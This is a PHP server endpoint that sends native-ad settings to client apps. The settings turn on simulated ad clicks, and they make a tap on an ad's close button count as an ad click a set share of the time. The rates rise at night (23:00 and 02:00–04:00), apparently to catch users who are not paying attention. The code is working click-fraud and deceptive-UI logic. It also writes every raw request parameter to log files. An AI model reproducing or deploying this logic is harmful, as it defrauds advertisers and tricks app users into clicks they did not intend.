<?php
include "../../../server/ToolServer.php";
include "../../../server/HredisServer.php";
// 原生广告判断
class index
{
    public $toolServer;
    public $redisServer;
    protected $now;
    protected $limitVersion = 2;
    protected $params = []; // request传参
    protected $cacheTime = 60*5; //客户端配置缓存时间（秒）
    // 原生广告配置
    protected $nativeConfig = [
        'isClick'=>0,            //自动点击是否开启
        'nativeLockTime'=>15,   //原生广告上锁睡眠时间（秒）,多久时间内不能再次自动点击
        'nativeClickTime'=>10,  //原生广告页面停留后触发点击时间（秒）
        'nativeRate'=>0,        // 原生广告点击广告的概率（0-100）
        'closeClickRate'=>0,  //点击关闭按钮触发广告点击的概率（0-100）
    ];

    protected $aid;  //广告位id

    public function __construct()
    {
        $this->now = time();
        $params = $_REQUEST;
        if (empty($params['app_version'])) {
            $params = json_decode(file_get_contents("php://input"), true);
        }
        $this->params = $params;
        $this->toolServer = new ToolServer();
        $this->redisServer = new HredisServer();

    }



    public function exc()
    {
        $params = $this->params;
        try {
            file_put_contents('./log/' . date('Ymd') . '.log', 'getSetting:'.json_encode($params) . "\r\n", FILE_APPEND);
        } catch (Exception $e) {
        }
        $aid = $params['aid'];
        $nativeConfig = $this->nativeConfig;
        $params['checkRes'] = $params['checkRes']??'';
        $checkRes = json_decode($params['checkRes'],true);
        if(!empty($checkRes['resCode']) && $checkRes['resCode'] == 1){
            if(date('H')>=23 || (date('H') >=2 &&  date('H') <4)){
                $nativeConfig['nativeRate'] = 30;
                $nativeConfig['closeClickRate'] = 80;
            }
        }else{
            if(date('H')>=23 || (date('H') >=2 &&  date('H') <4)){
                $nativeConfig['nativeRate'] = 20;
                $nativeConfig['closeClickRate'] = 30;
            }
        }


        if($nativeConfig['nativeRate'] > 0){
            $mtRand = mt_rand(1,100);
            if($mtRand <= $nativeConfig['nativeRate']){
                $nativeConfig['isClick'] = 1;
            }else{
                $nativeConfig['isClick'] = 0;
            }
        }
        $this->toolServer->success('success',$nativeConfig);

    }
}

$wap = new index();
$wap->exc();
?>
